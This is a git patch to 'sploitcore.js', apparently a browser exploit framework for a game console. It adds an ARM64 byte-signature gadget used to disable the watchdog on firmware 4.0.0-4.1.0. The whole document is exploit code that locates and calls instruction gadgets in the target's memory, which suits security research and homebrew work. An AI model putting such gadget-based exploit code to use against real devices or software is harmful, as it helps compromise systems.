From 5fc1e41e0a01e22a4017a4a4ada046e34a224e74 Mon Sep 17 00:00:00 2001 From: hexkyz Date: Sat, 15 Jun 2019 20:40:53 +0100 Subject: [PATCH] Fix disable watchdog gadget on 4.0.0-4.1.0 --- exploit/sploitcore.js | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/exploit/sploitcore.js b/exploit/sploitcore.js index 5c1a45c..41e6d64 100644 --- a/exploit/sploitcore.js +++ b/exploit/sploitcore.js @@ -465,8 +465,10 @@ SploitCore.prototype.disableWatchdog = function () { var vm = this.call(this.gadget([0xF4, 0x4F, 0xBE, 0xA9, 0xFD, 0x7B, 0x01, 0xA9, 0xFD, 0x43, 0x00, 0x91, 0xFF, 0x83, 0x00, 0xD1, 0xD3, 0xBF, 0x00, 0x90, 0x73, 0x02, 0x0D, 0x91, 0x60, 0x42, 0x00, 0x91], true)); } else if ((utils.version >= 200) && (utils.version < 300)) { var vm = this.call(this.gadget([0xFF, 0x03, 0x01, 0xD1, 0xF4, 0x4F, 0x02, 0xA9, 0xFD, 0x7B, 0x03, 0xA9, 0xFD, 0xC3, 0x00, 0x91, 0x53, -1, -1, -1, 0x73, -1, -1, -1, 0x60, 0x22, 0x00, 0x91, 0x08, 0xFC, 0xDF, 0x08, 0x48, 0x01, 0x00, 0x37], true)); - } else if ((utils.version >= 300) && (utils.version < 500)) { + } else if ((utils.version >= 300) && (utils.version < 400)) { var vm = this.call(this.gadget([0xFF, 0x03, 0x01, 0xD1, 0xF4, 0x4F, 0x02, 0xA9, 0xFD, 0x7B, 0x03, 0xA9, 0xFD, 0xC3, 0x00, 0x91, 0x73, -1, -1, -1, 0x73, -1, -1, -1, 0x60, 0x22, 0x00, 0x91, 0x08, 0xFC, 0xDF, 0x08, 0x48, 0x01, 0x00, 0x37], true)); + } else if ((utils.version >= 400) && (utils.version < 500)) { + var vm = this.call(this.gadget([0xFF, 0xC3, 0x00, 0xD1, 0xF4, 0x4F, 0x01, 0xA9, 0xFD, 0x7B, 0x02, 0xA9, 0xFD, 0x83, 0x00, 0x91, 0xD3, -1, -1, -1, 0x73, -1, -1, -1, 0x60, 0x22, 0x00, 0x91, 0x08, 0xFC, 0xDF, 0x08, 0x48, 0x01, 0x00, 0x37], true)); } else if ((utils.version >= 500) && (utils.version < 600)) { var vm = this.call(this.gadget([0xFF, 0xC3, 0x00, 0xD1, 0xF4, 0x4F, 0x01, 0xA9, 0xFD, 0x7B, 0x02, 0xA9, 0xFD, 0x83, 0x00, 0x91, 0x13, -1, -1, -1, 0x73, -1, -1, -1, 0x60, 0x22, 0x00, 0x91, 0x08, 0xFC, 0xDF, 0x08, 0x48, 0x01, 0x00, 0x37], true)); } else if (utils.version == 600) {